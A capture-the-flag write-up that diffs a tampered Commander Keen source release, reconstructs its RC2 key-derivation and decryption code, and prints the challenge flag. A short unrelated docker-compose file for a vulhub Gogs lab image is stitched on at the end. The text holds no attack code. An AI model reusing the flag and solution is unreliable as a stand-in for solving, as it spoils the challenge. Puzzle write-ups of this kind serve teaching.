lzhuff.h sl_file.h static gelib.h id_asm.equ id_heads.h id_mm.c id_rf.c id_sd.h id_us.h id_vw_ac.asm id_vw.h kd_act1.c kd_demo.c kd_play.c lscr lzw.h soft.c root@kali:/media/sf_CTFs/checkpoint/Stateful_Keen/stateful-keen/Source# cat README.md | head # Commander Keen in Keen Dreams This repository contains the source for Commander Keen in Keen Dreams. It is released under the GNU GPLv2+. See LICENSE for more details. The release of the source code does not affect the licensing of the game data files, which you must still legally acquire. This includes the static data included in this repository for your convenience. However, you are permitted to link and distribute that data for the purposes of compatibility with the original game. This release was made possible by a crowdfunding effort. It is brought to you by Javier M. Chavez and Chuck Naaden with additional support from: * Dave Allen * Kirill Illenseer ``` It looks like an Open Source release of the 90s computer game "[Commander Keen in Keen Dreams](https://en.wikipedia.org/wiki/Commander_Keen_in_Keen_Dreams)". We can use this information to find the [original release](https://github.com/keendreams/keen) and diff it against the copy we received. We find the following significant differences: ```console root@kali:/media/sf_CTFs/checkpoint/Stateful_Keen# diff keen-master/id_us.c stateful-keen/Source/id_us.c 386c386 < US_InitRndT(true); // Initialize the random number generator --- > US_InitRndT(false); // Initialize the random number generator 496d495 < 2177d2175 < boolean Done = false; 2194,2195c2192,2196 < < while (!(Done)) --- > USL_ShowHelp("Move Joystick to the Upper-Left"); > VW_UpdateScreen(); > while ((LastScan != sc_Escape) && !IN_GetJoyButtonsDB(joy)) > ; > if (LastScan != sc_Escape) 2197,2199c2198,2200 < USL_ShowHelp("Move Joystick to the Upper-Left"); < VW_UpdateScreen(); < while ((LastScan != sc_Escape) && !IN_GetJoyButtonsDB(joy)); --- > IN_GetJoyAbs(joy,&minx,&miny); > while (IN_GetJoyButtonsDB(joy)) > ; 2200a2202,2205 > USL_ShowHelp("Move Joystick to the Lower-Right"); > VW_UpdateScreen(); > while ((LastScan != sc_Escape) && !IN_GetJoyButtonsDB(joy)) > ; 2203,2223c2208,2209 < IN_GetJoyAbs(joy,&minx,&miny); < while (IN_GetJoyButtonsDB(joy)); < < USL_ShowHelp("Move Joystick to the Lower-Right"); < VW_UpdateScreen(); < while ((LastScan != sc_Escape) && !IN_GetJoyButtonsDB(joy)); < < if (LastScan != sc_Escape) < { < IN_GetJoyAbs(0,&maxx,&maxy); < < if ((maxx != minx) && (maxy != miny)) < { < Done = true; < IN_SetupJoy(joy,minx,maxx,miny,maxy); < } < else < while (IN_GetJoyButtonsDB(joy)); < } < else < Done = true; --- > IN_GetJoyAbs(0,&maxx,&maxy); > IN_SetupJoy(joy,minx,maxx,miny,maxy); 2225,2226d2210 < else < Done = true; 2229d2212 < 3593c3576 < US_DisplayHighScores(int which) --- > US_DisplayHighScores(int which, char* res) 3615a3599,3602 > for (i=0;i<24;i=i+8) { > memcpy(Scores[i/8].name,res+i,8); > } > 3671c3658 < US_CheckHighScore(long score,word other) --- > US_CheckHighScore(long score,word other,char* res) 3705c3692 < US_DisplayHighScores(n); --- > US_DisplayHighScores(n, res); 3707a3695,3890 > /**********************************************************************\ > * To commemorate the 1996 RSA Data Security Conference, the following * > * code is released into the public domain by its author. Prost! * > * * > * This cipher uses 16-bit words and little-endian byte ordering. * > * I wonder which processor it was optimized for? * > * * > * Thanks to CodeView, SoftIce, and D86 for helping bring this code to * > * the public. * > \**********************************************************************/ > > /**********************************************************************\ > * Expand a variable-length user key (between 1 and 128 bytes) to a * > * 64-short working rc2 key, of at most "bits" effective key bits. * > * The effective key bits parameter looks like an export control hack. * > * For normal use, it should always be set to 1024. For convenience, * > * zero is accepted as an alias for 1024. * > \**********************************************************************/ > void rc2_keyschedule( RC2_Schedule *key_schedule, > const unsigned char *key, > unsigned len, > unsigned bits ) > { > unsigned char x; > unsigned i; > /* 256-entry permutation table, probably derived somehow from pi */ > static const unsigned char permute[256] = { > 217,120,249,196, 25,221,181,237, 40,233,253,121, 74,160,216,157, > 198,126, 55,131, 43,118, 83,142, 98, 76,100,136, 68,139,251,162, > 23,154, 89,245,135,179, 79, 19, 97, 69,109,141, 9,129,125, 50, > 189,143, 64,235,134,183,123, 11,240,149, 33, 34, 92,107, 78,130, > 84,214,101,147,206, 96,178, 28,115, 86,192, 20,167,140,241,220, > 18,117,202, 31, 59,190,228,209, 66, 61,212, 48,163, 60,182, 38, > 111,191, 14,218, 70,105, 7, 87, 39,242, 29,155,188,148, 67, 3, > 248, 17,199,246,144,239, 62,231, 6,195,213, 47,200,102, 30,215, > 8,232,234,222,128, 82,238,247,132,170,114,172, 53, 77,106, 42, > 150, 26,210,113, 90, 21, 73,116, 75,159,208, 94, 4, 24,164,236, > 194,224, 65,110, 15, 81,203,204, 36,145,175, 80,161,244,112, 57, > 153,124, 58,133, 35,184,180,122,252, 2, 54, 91, 37, 85,151, 49, > 45, 93,250,152,227,138,146,174, 5,223, 41, 16,103,108,186,201, > 211, 0,230,207,225,158,168, 44, 99, 22, 1, 63, 88,226,137,169, > 13, 56, 52, 27,171, 51,255,176,187, 72, 12, 95,185,177,205, 46, > 197,243,219, 71,229,165,156,119, 10,166, 32,104,254,127,193,173 > }; > if (!bits) > bits = 1024; > memcpy(&key_schedule->xkey, key, len); > /* Phase 1: Expand input key to 128 bytes */ > if (len < 128) { > i = 0; > x = ((unsigned char *)key_schedule->xkey)[len-1]; > do { > x = permute[(x + ((unsigned char *)key_schedule->xkey)[i++]) & 255]; > ((unsigned char *)key_schedule->xkey)[len++] = x; > } while (len < 128); > } > /* Phase 2 - reduce effective key size to "bits" */ > len = (bits+7) >> 3; > i = 128-len; > x = permute[((unsigned char *)key_schedule->xkey)[i] & (255 >> (7 & -bits))]; > ((unsigned char *)key_schedule->xkey)[i] = x; > while (i--) { > x = permute[ x ^ ((unsigned char *)key_schedule->xkey)[i+len] ]; > ((unsigned char *)key_schedule->xkey)[i] = x; > } > /* Phase 3 - copy to xkey in little-endian order */ > i = 63; > do { > key_schedule->xkey[i] = ((unsigned char *)key_schedule->xkey)[2*i] + > (((unsigned char *)key_schedule->xkey)[2*i+1] << 8); > } while (i--); > } > /**********************************************************************\ > * Encrypt an 8-byte block of plaintext using the given key. * > \**********************************************************************/ > void rc2_encrypt( const RC2_Schedule *key_schedule, > const unsigned char *plain, > unsigned char *cipher ) > { > unsigned x76, x54, x32, x10, i; > x76 = (plain[7] << 8) + plain[6]; > x54 = (plain[5] << 8) + plain[4]; > x32 = (plain[3] << 8) + plain[2]; > x10 = (plain[1] << 8) + plain[0]; > for (i = 0; i < 16; i++) { > x10 += (x32 & ~x76) + (x54 & x76) + key_schedule->xkey[4*i+0]; > x10 = (x10 << 1) + (x10 >> 15 & 1); > x32 += (x54 & ~x10) + (x76 & x10) + key_schedule->xkey[4*i+1]; > x32 = (x32 << 2) + (x32 >> 14 & 3); > x54 += (x76 & ~x32) + (x10 & x32) + key_schedule->xkey[4*i+2]; > x54 = (x54 << 3) + (x54 >> 13 & 7); > x76 += (x10 & ~x54) + (x32 & x54) + key_schedule->xkey[4*i+3]; > x76 = (x76 << 5) + (x76 >> 11 & 31); > if (i == 4 || i == 10) { > x10 += key_schedule->xkey[x76 & 63]; > x32 += key_schedule->xkey[x10 & 63]; > x54 += key_schedule->xkey[x32 & 63]; > x76 += key_schedule->xkey[x54 & 63]; > } > } > cipher[0] = (unsigned char)x10; > cipher[1] = (unsigned char)(x10 >> 8); > cipher[2] = (unsigned char)x32; > cipher[3] = (unsigned char)(x32 >> 8); > cipher[4] = (unsigned char)x54; > cipher[5] = (unsigned char)(x54 >> 8); > cipher[6] = (unsigned char)x76; > cipher[7] = (unsigned char)(x76 >> 8); > } > /**********************************************************************\ > * Decrypt an 8-byte block of ciphertext using the given key. * > \**********************************************************************/ > void rc2_decrypt( const RC2_Schedule *key_schedule, > unsigned char *plain, > const unsigned char *cipher ) > { > unsigned x76, x54, x32, x10, i; > x76 = (cipher[7] << 8) + cipher[6]; > x54 = (cipher[5] << 8) + cipher[4]; > x32 = (cipher[3] << 8) + cipher[2]; > x10 = (cipher[1] << 8) + cipher[0]; > i = 15; > do { > x76 &= 65535; > x76 = (x76 << 11) + (x76 >> 5); > x76 -= (x10 & ~x54) + (x32 & x54) + key_schedule->xkey[4*i+3]; > x54 &= 65535; > x54 = (x54 << 13) + (x54 >> 3); > x54 -= (x76 & ~x32) + (x10 & x32) + key_schedule->xkey[4*i+2]; > x32 &= 65535; > x32 = (x32 << 14) + (x32 >> 2); > x32 -= (x54 & ~x10) + (x76 & x10) + key_schedule->xkey[4*i+1]; > x10 &= 65535; > x10 = (x10 << 15) + (x10 >> 1); > x10 -= (x32 & ~x76) + (x54 & x76) + key_schedule->xkey[4*i+0]; > if (i == 5 || i == 11) { > x76 -= key_schedule->xkey[x54 & 63]; > x54 -= key_schedule->xkey[x32 & 63]; > x32 -= key_schedule->xkey[x10 & 63]; > x10 -= key_schedule->xkey[x76 & 63]; > } > } while (i--); > plain[0] = (unsigned char)x10; > plain[1] = (unsigned char)(x10 >> 8); > plain[2] = (unsigned char)x32; > plain[3] = (unsigned char)(x32 >> 8); > plain[4] = (unsigned char)x54; > plain[5] = (unsigned char)(x54 >> 8); > plain[6] = (unsigned char)x76; > plain[7] = (unsigned char)(x76 >> 8); > } > > > > /* > * Copyright (c) 2006 Apple Computer, Inc. All Rights Reserved. > * > * @APPLE_LICENSE_HEADER_START@ > * > * This file contains Original Code and/or Modifications of Original Code > * as defined in and that are subject to the Apple Public Source License > * Version 2.0 (the 'License'). You may not use this file except in > * compliance with the License. Please obtain a copy of the License at > * http://www.opensource.apple.com/apsl/ and read it before using this > * file. > * > * The Original Code and all software distributed under the License are > * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER > * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, > * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, > * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. > * Please see the License for the specific language governing rights and > * limitations under the License. > * > * @APPLE_LICENSE_HEADER_END@ > */ > > int rc2_cc_set_key( > RC2_Schedule *cx, > const void *rawKey, > size_t keyLength) > { > rc2_keyschedule(cx, rawKey, keyLength, keyLength*8); > return 0; > } > > void rc2_cc_encrypt(RC2_Schedule *cx, const void *blockIn, void *blockOut) > { > rc2_encrypt(cx, (const unsigned char *)blockIn, (unsigned char *)blockOut); > } > > void rc2_cc_decrypt(RC2_Schedule *cx, const void *blockIn, void *blockOut) > { > rc2_decrypt(cx, (unsigned char *)blockOut, (const unsigned char *)blockIn); > } > root@kali:/media/sf_CTFs/checkpoint/Stateful_Keen# diff keen-master/id_us_a.asm stateful-keen/Source/id_us_a.asm 34a35 > rndindex2 dw ? 99a101,110 > PROC CP_InitRndT seed:word > uses si,di > public CP_InitRndT > > mov ax,[seed] > and ax,0ffh > mov [rndindex2],ax > > ret > ENDP 117a129,141 > ret > > ENDP > PROC CP_RndT > public CP_RndT > > mov bx,[rndindex2] > mov al,[rndtable+BX] > inc bx > and bx,0ffh > mov [rndindex2],bx > xor ah,ah > root@kali:/media/sf_CTFs/checkpoint/Stateful_Keen# diff keen-master/kd_def.h stateful-keen/Source/kd_def.h 27c27 < --- > #define CREDITS 0 37,38d36 < #define CREDITS 0 < 88a87 > int chosenshapenum; 102a102,104 > unsigned char key[16]; > int key_index; > unsigned char second_flag[24]; 366c368 < void MoveGfxDst(short x, short y); \ No newline at end of file --- > void MoveGfxDst(short x, short y); root@kali:/media/sf_CTFs/checkpoint/Stateful_Keen# diff keen-master/kd_demo.c stateful-keen/Source/kd_demo.c 68a69,70 > unsigned char arr2[24] = {0x61, 0x71, 0xf9, 0x53, 0xa6, 0x63, 0x65, 0x2, 0xc7, 0x15, 0xf0, 0x70, 0xf1, 0x95, > 0x66, 0x1, 0x6, 0x50, 0x17, 0x35, 0x1c, 0x12, 0xc0, 0xfb}; 75a78,79 > > memcpy(gamestate.second_flag,arr2,24); 119c123 < US_CenterWindow (16,3); --- > US_CenterWindow (40,3); 121c125 < US_PrintCentered("Game Over!"); --- > US_PrintCentered("Game Over! No flag for you!"); 146,147c150,151 < US_CenterWindow(22,7); < US_CPrint("Status Window"); --- > US_CenterWindow(40,7); > US_CPrint("Status Window - the flag isn't here (;"); 522c526 < US_DisplayHighScores(-1); --- > US_DisplayHighScores(-1,NULL); root@kali:/media/sf_CTFs/checkpoint/Stateful_Keen# diff keen-master/kd_keen.c stateful-keen/Source/kd_keen.c 1658a1659,1669 > switch(gamestate.mapon){ > case 4: > ob->state->chosenshapenum = s_keendie3.rightshapenum; > gamestate.key_index = gamestate.mapon; > break; > case 14: > ob->state->chosenshapenum = s_keendie3.leftshapenum; > gamestate.key_index = 6; > break; > } > 1754a1766,1783 > if (ob->state == &s_keenwalk1) { > ob->state->chosenshapenum = s_keenwalk1.rightshapenum; > gamestate.key_index = 8; > } > else if (ob->state == &s_keenwalk2) { > ob->state->chosenshapenum = s_keenwalk2.rightshapenum; > gamestate.key_index = 10; > } > else if (ob->state == &s_keenwalk3) { > ob->state->chosenshapenum = s_keenwalk3.rightshapenum; > gamestate.key_index = 12; > } > else if (ob->state == &s_keenwalk4) { > ob->state->chosenshapenum = s_keenwalk4.rightshapenum; > gamestate.key_index = 14; > } > > 1815a1845,1856 > if (ob->state == &s_keenjumpup1) { > switch(gamestate.mapon){ > case 1: > ob->state->chosenshapenum = s_keenjumpup1.rightshapenum; > gamestate.key_index = gamestate.mapon-1; > break; > case 2: > ob->state->chosenshapenum = s_keenjumpup1.leftshapenum; > gamestate.key_index = gamestate.mapon; > break; > } > } root@kali:/media/sf_CTFs/checkpoint/Stateful_Keen# diff keen-master/kd_play.c stateful-keen/Source/kd_play.c 78,83c78,83 < "The Land of Tuberia", < "Horseradish Hill", < "The Melon Mines", < "Bridge Bottoms", < "Rhubarb Rapids", < "Parsnip Pass", --- > "The Land of CSA", > "CSA HINT: I", > "CSA HINT: o", > "CSA HINT: A", > "CSA HINT: 8", > "CSA HINT: e", 85c85 < "Spud City", --- > "CSA HINT: 7", 87,88c87,88 < "Apple Acres", < "Grape Grove", --- > "CSA HINT: h", > "CSA HINT: R", 90c90 < "Brussels Sprout Bay", --- > "CSA HINT: c", 92,94c92,94 < "Squash Swamp", < "Boobus' Chamber", < "Castle Tuberia", --- > "CSA HINT: !", > "CSA HINT: L", > "CSA HINT: _", 1298c1298 < --- > ob->state->chosenshapenum=-1; 1375c1375,1381 < if (ob->state == state) --- > if (ob->state == state) { > if (ob==player && ob->state->chosenshapenum>0 && gamestate.key_index<16) { > CP_InitRndT((word)ob->state->chosenshapenum); > gamestate.key[gamestate.key_index] = CP_RndT(); > gamestate.key_index++; > gamestate.key[gamestate.key_index] = CP_RndT(); > } 1376a1383 > } 1837a1845,1847 > RC2_Schedule cx; > char res[64]; > 1920a1931,1937 > memset(res,0,64); > rc2_cc_set_key(&cx,gamestate.key,16); > for (i=0;i<24;i=i+8) { > rc2_cc_decrypt(&cx, gamestate.second_flag+i, res+i); > } > > 1925c1942 < US_CheckHighScore (gamestate.score,cities); --- > US_CheckHighScore (gamestate.score,cities,res); ``` In summary, the challenge creators have added some kind of decryption logic to the game. When the gave is over, the flag should be displayed in the high score screen: ```c void GameLoop (void) { //... RC2_Schedule cx; char res[64]; // ... do { startlevel: //... } while (gamestate.lives>-1 && playstate!=victorious); GameOver (); done: memset(res,0,64); rc2_cc_set_key(&cx,gamestate.key,16); for (i=0;i<24;i=i+8) { rc2_cc_decrypt(&cx, gamestate.second_flag+i, res+i); } //... US_CheckHighScore (gamestate.score,cities,res); VW_ClearVideo (FIRSTCOLOR); } ``` Let's try to understand how the key is being built. First, we have the following logic in `NewGame()`, copying some initial data to `second_flag`: ```c unsigned char arr2[24] = {0x61, 0x71, 0xf9, 0x53, 0xa6, 0x63, 0x65, 0x2, 0xc7, 0x15, 0xf0, 0x70, 0xf1, 0x95, 0x66, 0x1, 0x6, 0x50, 0x17, 0x35, 0x1c, 0x12, 0xc0, 0xfb}; memcpy(gamestate.second_flag,arr2,24); ``` Then, throughout the game, we have different places that set a value to `key_index`: ```c void KeenDieThink (objtype *ob) { switch(gamestate.mapon){ case 4: ob->state->chosenshapenum = s_keendie3.rightshapenum; gamestate.key_index = gamestate.mapon; break; case 14: ob->state->chosenshapenum = s_keendie3.leftshapenum; gamestate.key_index = 6; break; } ob++; // shut up compiler playstate = died; } void KeenWalkThink (objtype *ob) { int move; if (ob->state == &s_keenwalk1) { ob->state->chosenshapenum = s_keenwalk1.rightshapenum; gamestate.key_index = 8; } else if (ob->state == &s_keenwalk2) { ob->state->chosenshapenum = s_keenwalk2.rightshapenum; gamestate.key_index = 10; } else if (ob->state == &s_keenwalk3) { ob->state->chosenshapenum = s_keenwalk3.rightshapenum; gamestate.key_index = 12; } else if (ob->state == &s_keenwalk4) { ob->state->chosenshapenum = s_keenwalk4.rightshapenum; gamestate.key_index = 14; } //... } void KeenAirThink (objtype *ob) { if (jumptime) { if (ob->state == &s_keenjumpup1) { switch(gamestate.mapon){ case 1: ob->state->chosenshapenum = s_keenjumpup1.rightshapenum; gamestate.key_index = gamestate.mapon-1; break; case 2: ob->state->chosenshapenum = s_keenjumpup1.leftshapenum; gamestate.key_index = gamestate.mapon; break; } } //... } //... } ``` And in `DoActor()`, the `key_index` is used in order to initialize `key`: ```c if (ob->state == state) { if (ob==player && ob->state->chosenshapenum>0 && gamestate.key_index<16) { CP_InitRndT((word)ob->state->chosenshapenum); gamestate.key[gamestate.key_index] = CP_RndT(); gamestate.key_index++; gamestate.key[gamestate.key_index] = CP_RndT(); } ob->state = state->nextstate; // go to next state } ``` Eventually, `key` is used to decrypt `second_flag` into `res`, and `res` is passed to the function which displays the high score: ```c memset(res,0,64); rc2_cc_set_key(&cx,gamestate.key,16); for (i=0;i<24;i=i+8) { rc2_cc_decrypt(&cx, gamestate.second_flag+i, res+i); } US_CheckHighScore (gamestate.score,cities,res); ``` The only missing pieces are `CP_InitRndT` and `CP_RndT()` - these functions are implemented in assembly and simply simulate a random number generator by retrieving values from a predefined "random-like" table (see below). We don't need to run the game in order to have this logic run, we can just copy it aside to a dedicated source file and "make it compile™". Here's `rand.asm`: ```assembly IDEAL MODEL SMALL,C DATASEG rndindex2 dw ? rndtable db 0, 8, 109, 220, 222, 241, 149, 107, 75, 248, 254, 140, 16, 66 db 74, 21, 211, 47, 80, 242, 154, 27, 205, 128, 161, 89, 77, 36 db 95, 110, 85, 48, 212, 140, 211, 249, 22, 79, 200, 50, 28, 188 db 52, 140, 202, 120, 68, 145, 62, 70, 184, 190, 91, 197, 152, 224 db 149, 104, 25, 178, 252, 182, 202, 182, 141, 197, 4, 81, 181, 242 db 145, 42, 39, 227, 156, 198, 225, 193, 219, 93, 122, 175, 249, 0 db 175, 143, 70, 239, 46, 246, 163, 53, 163, 109, 168, 135, 2, 235 db 25, 92, 20, 145, 138, 77, 69, 166, 78, 176, 173, 212, 166, 113 db 94, 161, 41, 50, 239, 49, 111, 164, 70, 60, 2, 37, 171, 75 db 136, 156, 11, 56, 42, 146, 138, 229, 73, 146, 77, 61, 98, 196 db 135, 106, 63, 197, 195, 86, 96, 203, 113, 101, 170, 247, 181, 113 db 80, 250, 108, 7, 255, 237, 129, 226, 79, 107, 112, 166, 103, 241 db 24, 223, 239, 120, 198, 58, 60, 82, 128, 3, 184, 66, 143, 224 db 145, 224, 81, 206, 163, 45, 63, 90, 168, 114, 59, 33, 159, 95 db 28, 139, 123, 98, 125, 196, 15, 70, 194, 253, 54, 14, 109, 226 db 71, 17, 161, 93, 186, 87, 244, 138, 20, 52, 123, 251, 26, 36 db 17, 46, 52, 231, 232, 76, 31, 221, 84, 37, 216, 165, 212, 106 db 197, 242, 98, 43, 39, 175, 254, 145, 190, 84, 118, 222, 187, 136 db 120, 163, 236, 249 CODESEG PROC CP_InitRndT seed:word uses si,di public CP_InitRndT mov ax,[seed] and ax,0ffh mov [rndindex2],ax ret ENDP PROC CP_RndT public CP_RndT mov bx,[rndindex2] mov al,[rndtable+BX] inc bx and bx,0ffh mov [rndindex2],bx xor ah,ah ret ENDP END ``` And here's `main.c`: ```c #include <stdio.h> typedef unsigned int word; extern void CP_InitRndT(word seed); extern int CP_RndT(void); typedef struct rc2_key_st { unsigned short xkey[64]; } RC2_Schedule; void rc2_keyschedule( RC2_Schedule *key_schedule, const unsigned char *key, unsigned len, unsigned bits ); void rc2_encrypt( const RC2_Schedule *key_schedule, const unsigned char *plain, unsigned char *cipher ); void rc2_decrypt( const RC2_Schedule *key_schedule, unsigned char *plain, const unsigned char *cipher ); #ifdef __cplusplus extern "C" { #endif int rc2_cc_set_key(RC2_Schedule *cx, const void *rawKey, size_t keyLength); void rc2_cc_encrypt(RC2_Schedule *cx, const void *blockIn, void *blockOut); void rc2_cc_decrypt(RC2_Schedule *cx, const void *blockIn, void *blockOut); #ifdef __cplusplus } #endif #define MaxHighName 57 #define MaxScores 10 typedef struct { char name[MaxHighName + 1]; long score; word completed; } HighScore; static HighScore Scores[MaxScores] = { {"",10000}, {"",10000}, {"",10000}, {"",10000}, {"",10000}, {"",10000}, {"",10000}, {"",10000}, {"",10000}, {"",10000} }; unsigned char key[16]; unsigned char second_flag[24]; unsigned char arr2[24] = {0x61, 0x71, 0xf9, 0x53, 0xa6, 0x63, 0x65, 0x2, 0xc7, 0x15, 0xf0, 0x70, 0xf1, 0x95, 0x66, 0x1, 0x6, 0x50, 0x17, 0x35, 0x1c, 0x12, 0xc0, 0xfb}; void set_key(int l_chosenshapenum, int l_key_index) { if (l_chosenshapenum>0 && l_key_index<16) { CP_InitRndT((word)l_chosenshapenum); key[l_key_index] = CP_RndT(); l_key_index++; key[l_key_index] = CP_RndT(); } } void main (void) { RC2_Schedule cx; char res[64]; int i; memcpy(second_flag,arr2,24); set_key(93, 0); set_key(100, 2); set_key(137, 4); set_key(137, 6); set_key(73, 8); set_key(74, 10); set_key(75, 12); set_key(76, 14); memset(res,0,64); rc2_cc_set_key(&cx,key,16); for (i=0;i<24;i=i+8) { rc2_cc_decrypt(&cx, second_flag+i, res+i); } for (i=0;i<24;i=i+8) { memcpy(Scores[i/8].name,res+i,8); printf("%s", Scores[i/8].name); } } void rc2_keyschedule( RC2_Schedule *key_schedule, const unsigned char *key, unsigned len, unsigned bits ) { unsigned char x; unsigned i; /* 256-entry permutation table, probably derived somehow from pi */ static const unsigned char permute[256] = { 217,120,249,196, 25,221,181,237, 40,233,253,121, 74,160,216,157, 198,126, 55,131, 43,118, 83,142, 98, 76,100,136, 68,139,251,162, 23,154, 89,245,135,179, 79, 19, 97, 69,109,141, 9,129,125, 50, 189,143, 64,235,134,183,123, 11,240,149, 33, 34, 92,107, 78,130, 84,214,101,147,206, 96,178, 28,115, 86,192, 20,167,140,241,220, 18,117,202, 31, 59,190,228,209, 66, 61,212, 48,163, 60,182, 38, 111,191, 14,218, 70,105, 7, 87, 39,242, 29,155,188,148, 67, 3, 248, 17,199,246,144,239, 62,231, 6,195,213, 47,200,102, 30,215, 8,232,234,222,128, 82,238,247,132,170,114,172, 53, 77,106, 42, 150, 26,210,113, 90, 21, 73,116, 75,159,208, 94, 4, 24,164,236, 194,224, 65,110, 15, 81,203,204, 36,145,175, 80,161,244,112, 57, 153,124, 58,133, 35,184,180,122,252, 2, 54, 91, 37, 85,151, 49, 45, 93,250,152,227,138,146,174, 5,223, 41, 16,103,108,186,201, 211, 0,230,207,225,158,168, 44, 99, 22, 1, 63, 88,226,137,169, 13, 56, 52, 27,171, 51,255,176,187, 72, 12, 95,185,177,205, 46, 197,243,219, 71,229,165,156,119, 10,166, 32,104,254,127,193,173 }; if (!bits) bits = 1024; memcpy(&key_schedule->xkey, key, len); /* Phase 1: Expand input key to 128 bytes */ if (len < 128) { i = 0; x = ((unsigned char *)key_schedule->xkey)[len-1]; do { x = permute[(x + ((unsigned char *)key_schedule->xkey)[i++]) & 255]; ((unsigned char *)key_schedule->xkey)[len++] = x; } while (len < 128); } /* Phase 2 - reduce effective key size to "bits" */ len = (bits+7) >> 3; i = 128-len; x = permute[((unsigned char *)key_schedule->xkey)[i] & (255 >> (7 & -bits))]; ((unsigned char *)key_schedule->xkey)[i] = x; while (i--) { x = permute[ x ^ ((unsigned char *)key_schedule->xkey)[i+len] ]; ((unsigned char *)key_schedule->xkey)[i] = x; } /* Phase 3 - copy to xkey in little-endian order */ i = 63; do { key_schedule->xkey[i] = ((unsigned char *)key_schedule->xkey)[2*i] + (((unsigned char *)key_schedule->xkey)[2*i+1] << 8); } while (i--); } /**********************************************************************\ * Encrypt an 8-byte block of plaintext using the given key. * \**********************************************************************/ void rc2_encrypt( const RC2_Schedule *key_schedule, const unsigned char *plain, unsigned char *cipher ) { unsigned x76, x54, x32, x10, i; x76 = (plain[7] << 8) + plain[6]; x54 = (plain[5] << 8) + plain[4]; x32 = (plain[3] << 8) + plain[2]; x10 = (plain[1] << 8) + plain[0]; for (i = 0; i < 16; i++) { x10 += (x32 & ~x76) + (x54 & x76) + key_schedule->xkey[4*i+0]; x10 = (x10 << 1) + (x10 >> 15 & 1); x32 += (x54 & ~x10) + (x76 & x10) + key_schedule->xkey[4*i+1]; x32 = (x32 << 2) + (x32 >> 14 & 3); x54 += (x76 & ~x32) + (x10 & x32) + key_schedule->xkey[4*i+2]; x54 = (x54 << 3) + (x54 >> 13 & 7); x76 += (x10 & ~x54) + (x32 & x54) + key_schedule->xkey[4*i+3]; x76 = (x76 << 5) + (x76 >> 11 & 31); if (i == 4 || i == 10) { x10 += key_schedule->xkey[x76 & 63]; x32 += key_schedule->xkey[x10 & 63]; x54 += key_schedule->xkey[x32 & 63]; x76 += key_schedule->xkey[x54 & 63]; } } cipher[0] = (unsigned char)x10; cipher[1] = (unsigned char)(x10 >> 8); cipher[2] = (unsigned char)x32; cipher[3] = (unsigned char)(x32 >> 8); cipher[4] = (unsigned char)x54; cipher[5] = (unsigned char)(x54 >> 8); cipher[6] = (unsigned char)x76; cipher[7] = (unsigned char)(x76 >> 8); } /**********************************************************************\ * Decrypt an 8-byte block of ciphertext using the given key. * \**********************************************************************/ void rc2_decrypt( const RC2_Schedule *key_schedule, unsigned char *plain, const unsigned char *cipher ) { unsigned x76, x54, x32, x10, i; x76 = (cipher[7] << 8) + cipher[6]; x54 = (cipher[5] << 8) + cipher[4]; x32 = (cipher[3] << 8) + cipher[2]; x10 = (cipher[1] << 8) + cipher[0]; i = 15; do { x76 &= 65535; x76 = (x76 << 11) + (x76 >> 5); x76 -= (x10 & ~x54) + (x32 & x54) + key_schedule->xkey[4*i+3]; x54 &= 65535; x54 = (x54 << 13) + (x54 >> 3); x54 -= (x76 & ~x32) + (x10 & x32) + key_schedule->xkey[4*i+2]; x32 &= 65535; x32 = (x32 << 14) + (x32 >> 2); x32 -= (x54 & ~x10) + (x76 & x10) + key_schedule->xkey[4*i+1]; x10 &= 65535; x10 = (x10 << 15) + (x10 >> 1); x10 -= (x32 & ~x76) + (x54 & x76) + key_schedule->xkey[4*i+0]; if (i == 5 || i == 11) { x76 -= key_schedule->xkey[x54 & 63]; x54 -= key_schedule->xkey[x32 & 63]; x32 -= key_schedule->xkey[x10 & 63]; x10 -= key_schedule->xkey[x76 & 63]; } } while (i--); plain[0] = (unsigned char)x10; plain[1] = (unsigned char)(x10 >> 8); plain[2] = (unsigned char)x32; plain[3] = (unsigned char)(x32 >> 8); plain[4] = (unsigned char)x54; plain[5] = (unsigned char)(x54 >> 8); plain[6] = (unsigned char)x76; plain[7] = (unsigned char)(x76 >> 8); } /* * Copyright (c) 2006 Apple Computer, Inc. All Rights Reserved. * * @APPLE_LICENSE_HEADER_START@ * * This file contains Original Code and/or Modifications of Original Code * as defined in and that are subject to the Apple Public Source License * Version 2.0 (the 'License'). You may not use this file except in * compliance with the License. Please obtain a copy of the License at * http://www.opensource.apple.com/apsl/ and read it before using this * file. * * The Original Code and all software distributed under the License are * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. * Please see the License for the specific language governing rights and * limitations under the License. * * @APPLE_LICENSE_HEADER_END@ */ int rc2_cc_set_key( RC2_Schedule *cx, const void *rawKey, size_t keyLength) { rc2_keyschedule(cx, rawKey, keyLength, keyLength*8); return 0; } void rc2_cc_encrypt(RC2_Schedule *cx, const void *blockIn, void *blockOut) { rc2_encrypt(cx, (const unsigned char *)blockIn, (unsigned char *)blockOut); } void rc2_cc_decrypt(RC2_Schedule *cx, const void *blockIn, void *blockOut) { rc2_decrypt(cx, (unsigned char *)blockOut, (const unsigned char *)blockIn); } ``` The contents of both files is taken from the challenge sources almost as-is, however some code was refactored to avoid duplication and some macros/enums/constants were replaced with explicit values to reduce dependencies. In order to compile and run this, we need to launch DOSBox and install [Borland C++ 2.0](https://winworldpc.com/product/borland-c/20). We then just call `BCC` and run the program to get the flag: ![](images/stateful_keen.png) The flag: `CSA{No BrOcOoLi fOr YoU! :)}`
sec-knowleage
version: '2' services: web: image: vulhub/gogs:0.11.66 ports: - "10022:22" - "3000:3000"
sec-knowleage
